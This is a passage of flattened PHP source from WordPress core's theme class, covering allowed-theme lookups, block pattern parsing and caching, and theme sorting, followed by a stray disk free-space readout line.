empty( $file ) ) { $path = $stylesheet_directory; } elseif ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/' . $file ) ) { $path = $stylesheet_directory . '/' . $file; } else { $path = $template_directory . '/' . $file; } /** This filter is documented in wp-includes/link-template.php */ return apply_filters( 'theme_file_path', $path, $file ); } /** * Determines the latest WordPress default theme that is installed. * * This hits the filesystem. * * @since 4.4.0 * * @return WP_Theme|false Object, or false if no theme is installed, which would be bad. */ public static function get_core_default_theme() { foreach ( array_reverse( self::$default_themes ) as $slug => $name ) { $theme = wp_get_theme( $slug ); if ( $theme->exists() ) { return $theme; } } return false; } /** * Returns array of stylesheet names of themes allowed on the site or network. * * @since 3.4.0 * * @param int $blog_id Optional. ID of the site. Defaults to the current site. * @return string[] Array of stylesheet names. */ public static function get_allowed( $blog_id = null ) { /** * Filters the array of themes allowed on the network. * * Site is provided as context so that a list of network allowed themes can * be filtered further. * * @since 4.5.0 * * @param string[] $allowed_themes An array of theme stylesheet names. * @param int $blog_id ID of the site. */ $network = (array) apply_filters( 'network_allowed_themes', self::get_allowed_on_network(), $blog_id ); return $network + self::get_allowed_on_site( $blog_id ); } /** * Returns array of stylesheet names of themes allowed on the network. * * @since 3.4.0 * * @return string[] Array of stylesheet names. */ public static function get_allowed_on_network() { static $allowed_themes; if ( ! isset( $allowed_themes ) ) { $allowed_themes = (array) get_site_option( 'allowedthemes' ); } /** * Filters the array of themes allowed on the network. * * @since MU (3.0.0) * * @param string[] $allowed_themes An array of theme stylesheet names. */ $allowed_themes = apply_filters( 'allowed_themes', $allowed_themes ); return $allowed_themes; } /** * Returns array of stylesheet names of themes allowed on the site. * * @since 3.4.0 * * @param int $blog_id Optional. ID of the site. Defaults to the current site. * @return string[] Array of stylesheet names. */ public static function get_allowed_on_site( $blog_id = null ) { static $allowed_themes = array(); if ( ! $blog_id || ! is_multisite() ) { $blog_id = get_current_blog_id(); } if ( isset( $allowed_themes[ $blog_id ] ) ) { /** * Filters the array of themes allowed on the site. * * @since 4.5.0 * * @param string[] $allowed_themes An array of theme stylesheet names. * @param int $blog_id ID of the site. Defaults to current site. */ return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id ); } $current = get_current_blog_id() === $blog_id; if ( $current ) { $allowed_themes[ $blog_id ] = get_option( 'allowedthemes' ); } else { switch_to_blog( $blog_id ); $allowed_themes[ $blog_id ] = get_option( 'allowedthemes' ); restore_current_blog(); } /* * This is all super old MU back compat joy. * 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name. */ if ( false === $allowed_themes[ $blog_id ] ) { if ( $current ) { $allowed_themes[ $blog_id ] = get_option( 'allowed_themes' ); } else { switch_to_blog( $blog_id ); $allowed_themes[ $blog_id ] = get_option( 'allowed_themes' ); restore_current_blog(); } if ( ! is_array( $allowed_themes[ $blog_id ] ) || empty( $allowed_themes[ $blog_id ] ) ) { $allowed_themes[ $blog_id ] = array(); } else { $converted = array(); $themes = wp_get_themes(); foreach ( $themes as $stylesheet => $theme_data ) { if ( isset( $allowed_themes[ $blog_id ][ $theme_data->get( 'Name' ) ] ) ) { $converted[ $stylesheet ] = true; } } $allowed_themes[ $blog_id ] = $converted; } // Set the option so we never have to go through this pain again. if ( is_admin() && $allowed_themes[ $blog_id ] ) { if ( $current ) { update_option( 'allowedthemes', $allowed_themes[ $blog_id ], false ); delete_option( 'allowed_themes' ); } else { switch_to_blog( $blog_id ); update_option( 'allowedthemes', $allowed_themes[ $blog_id ], false ); delete_option( 'allowed_themes' ); restore_current_blog(); } } } /** This filter is documented in wp-includes/class-wp-theme.php */ return (array) apply_filters( 'site_allowed_themes', $allowed_themes[ $blog_id ], $blog_id ); } /** * Returns the folder names of the block template directories. * * @since 6.4.0 * * @return string[] { * Folder names used by block themes. * * @type string $wp_template Theme-relative directory name for block templates. * @type string $wp_template_part Theme-relative directory name for block template parts. * } */ public function get_block_template_folders() { // Return set/cached value if available. if ( isset( $this->block_template_folders ) ) { return $this->block_template_folders; } $this->block_template_folders = $this->default_template_folders; $stylesheet_directory = $this->get_stylesheet_directory(); // If the theme uses deprecated block template folders. if ( file_exists( $stylesheet_directory . '/block-templates' ) || file_exists( $stylesheet_directory . '/block-template-parts' ) ) { $this->block_template_folders = array( 'wp_template' => 'block-templates', 'wp_template_part' => 'block-template-parts', ); } return $this->block_template_folders; } /** * Gets block pattern data for a specified theme. * Each pattern is defined as a PHP file and defines * its metadata using plugin-style headers. The minimum required definition is: * * /** * * Title: My Pattern * * Slug: my-theme/my-pattern * * * * The output of the PHP source corresponds to the content of the pattern, e.g.: * * <main><p><?php echo "Hello"; ?></p></main> * * If applicable, this will collect from both parent and child theme. * * Other settable fields include: * * - Description * - Viewport Width * - Inserter (yes/no) * - Categories (comma-separated values) * - Keywords (comma-separated values) * - Block Types (comma-separated values) * - Post Types (comma-separated values) * - Template Types (comma-separated values) * * @since 6.4.0 * * @return array Block pattern data. */ public function get_block_patterns() { $can_use_cached = ! wp_is_development_mode( 'theme' ); $pattern_data = $this->get_pattern_cache(); if ( is_array( $pattern_data ) ) { if ( $can_use_cached ) { return $pattern_data; } // If in development mode, clear pattern cache. $this->delete_pattern_cache(); } $dirpath = $this->get_stylesheet_directory() . '/patterns/'; $pattern_data = array(); if ( ! file_exists( $dirpath ) ) { if ( $can_use_cached ) { $this->set_pattern_cache( $pattern_data ); } return $pattern_data; } $files = glob( $dirpath . '*.php' ); if ( ! $files ) { if ( $can_use_cached ) { $this->set_pattern_cache( $pattern_data ); } return $pattern_data; } $default_headers = array( 'title' => 'Title', 'slug' => 'Slug', 'description' => 'Description', 'viewportWidth' => 'Viewport Width', 'inserter' => 'Inserter', 'categories' => 'Categories', 'keywords' => 'Keywords', 'blockTypes' => 'Block Types', 'postTypes' => 'Post Types', 'templateTypes' => 'Template Types', ); $properties_to_parse = array( 'categories', 'keywords', 'blockTypes', 'postTypes', 'templateTypes', ); foreach ( $files as $file ) { $pattern = get_file_data( $file, $default_headers ); if ( empty( $pattern['slug'] ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: file name. */ __( 'Could not register file "%s" as a block pattern ("Slug" field missing)' ), $file ), '6.0.0' ); continue; } if ( ! preg_match( '/^[A-z0-9\/_-]+$/', $pattern['slug'] ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: file name; 2: slug value found. */ __( 'Could not register file "%1$s" as a block pattern (invalid slug "%2$s")' ), $file, $pattern['slug'] ), '6.0.0' ); } // Title is a required property. if ( ! $pattern['title'] ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: 1: file name. */ __( 'Could not register file "%s" as a block pattern ("Title" field missing)' ), $file ), '6.0.0' ); continue; } // For properties of type array, parse data as comma-separated. foreach ( $properties_to_parse as $property ) { if ( ! empty( $pattern[ $property ] ) ) { $pattern[ $property ] = array_filter( wp_parse_list( (string) $pattern[ $property ] ) ); } else { unset( $pattern[ $property ] ); } } // Parse properties of type int. $property = 'viewportWidth'; if ( ! empty( $pattern[ $property ] ) ) { $pattern[ $property ] = (int) $pattern[ $property ]; } else { unset( $pattern[ $property ] ); } // Parse properties of type bool. $property = 'inserter'; if ( ! empty( $pattern[ $property ] ) ) { $pattern[ $property ] = in_array( strtolower( $pattern[ $property ] ), array( 'yes', 'true' ), true ); } else { unset( $pattern[ $property ] ); } $key = str_replace( $dirpath, '', $file ); $pattern_data[ $key ] = $pattern; } if ( $can_use_cached ) { $this->set_pattern_cache( $pattern_data ); } return $pattern_data; } /** * Gets block pattern cache. * * @since 6.4.0 * @since 6.6.0 Uses transients to cache regardless of site environment. * * @return array|false Returns an array of patterns if cache is found, otherwise false. */ private function get_pattern_cache() { if ( ! $this->exists() ) { return false; } $pattern_data = get_site_transient( 'wp_theme_files_patterns-' . $this->cache_hash ); if ( is_array( $pattern_data ) && $pattern_data['version'] === $this->get( 'Version' ) ) { return $pattern_data['patterns']; } return false; } /** * Sets block pattern cache. * * @since 6.4.0 * @since 6.6.0 Uses transients to cache regardless of site environment. * * @param array $patterns Block patterns data to set in cache. */ private function set_pattern_cache( array $patterns ) { $pattern_data = array( 'version' => $this->get( 'Version' ), 'patterns' => $patterns, ); /** * Filters the cache expiration time for theme files. * * @since 6.6.0 * * @param int $cache_expiration Cache expiration time in seconds. * @param string $cache_type Type of cache being set. */ $cache_expiration = (int) apply_filters( 'wp_theme_files_cache_ttl', self::$cache_expiration, 'theme_block_patterns' ); // We don't want to cache patterns infinitely. if ( $cache_expiration <= 0 ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %1$s: The filter name.*/ __( 'The %1$s filter must return an integer value greater than 0.' ), '<code>wp_theme_files_cache_ttl</code>' ), '6.6.0' ); $cache_expiration = self::$cache_expiration; } set_site_transient( 'wp_theme_files_patterns-' . $this->cache_hash, $pattern_data, $cache_expiration ); } /** * Clears block pattern cache. * * @since 6.4.0 * @since 6.6.0 Uses transients to cache regardless of site environment. */ public function delete_pattern_cache() { delete_site_transient( 'wp_theme_files_patterns-' . $this->cache_hash ); } /** * Enables a theme for all sites on the current network. * * @since 4.6.0 * * @param string|string[] $stylesheets Stylesheet name or array of stylesheet names. */ public static function network_enable_theme( $stylesheets ) { if ( ! is_multisite() ) { return; } if ( ! is_array( $stylesheets ) ) { $stylesheets = array( $stylesheets ); } $allowed_themes = get_site_option( 'allowedthemes' ); foreach ( $stylesheets as $stylesheet ) { $allowed_themes[ $stylesheet ] = true; } update_site_option( 'allowedthemes', $allowed_themes ); } /** * Disables a theme for all sites on the current network. * * @since 4.6.0 * * @param string|string[] $stylesheets Stylesheet name or array of stylesheet names. */ public static function network_disable_theme( $stylesheets ) { if ( ! is_multisite() ) { return; } if ( ! is_array( $stylesheets ) ) { $stylesheets = array( $stylesheets ); } $allowed_themes = get_site_option( 'allowedthemes' ); foreach ( $stylesheets as $stylesheet ) { if ( isset( $allowed_themes[ $stylesheet ] ) ) { unset( $allowed_themes[ $stylesheet ] ); } } update_site_option( 'allowedthemes', $allowed_themes ); } /** * Sorts themes by name. * * @since 3.4.0 * * @param WP_Theme[] $themes Array of theme objects to sort (passed by reference). */ public static function sort_by_name( &$themes ) { if ( str_starts_with( get_user_locale(), 'en_' ) ) { uasort( $themes, array( 'WP_Theme', '_name_sort' ) ); } else { foreach ( $themes as $key => $theme ) { $theme->translate_header( 'Name', $theme->headers['Name'] ); } uasort( $themes, array( 'WP_Theme', '_name_sort_i18n' ) ); } } /** * Callback function for usort() to naturally sort themes by name. * * Accesses the Name header directly from the class for maximum speed. * Would choke on HTML but we don't care enough to slow it down with strip_tags(). * * @since 3.4.0 * * @param WP_Theme $a First theme. * @param WP_Theme $b Second theme. * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally. * Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort(). */ private static function _name_sort( $a, $b ) { return strnatcasecmp( $a->headers['Name'], $b->headers['Name'] ); } /** * Callback function for usort() to naturally sort themes by translated name. * * @since 3.4.0 * * @param WP_Theme $a First theme. * @param WP_Theme $b Second theme. * @return int Negative if `$a` falls lower in the natural order than `$b`. Zero if they fall equally. * Greater than 0 if `$a` falls higher in the natural order than `$b`. Used with usort(). */ private static function _name_sort_i18n( $a, $b ) { return strnatcasecmp( $a->name_translated, $b->name_translated ); } private static function _check_headers_property_has_correct_type( $headers ) { if ( ! is_array( $headers ) ) { return false; } foreach ( $headers as $key => $value ) { if ( ! is_string( $key ) || ! is_string( $value ) ) { return false; } } return true; } }
Free Space : 64881426432 Byte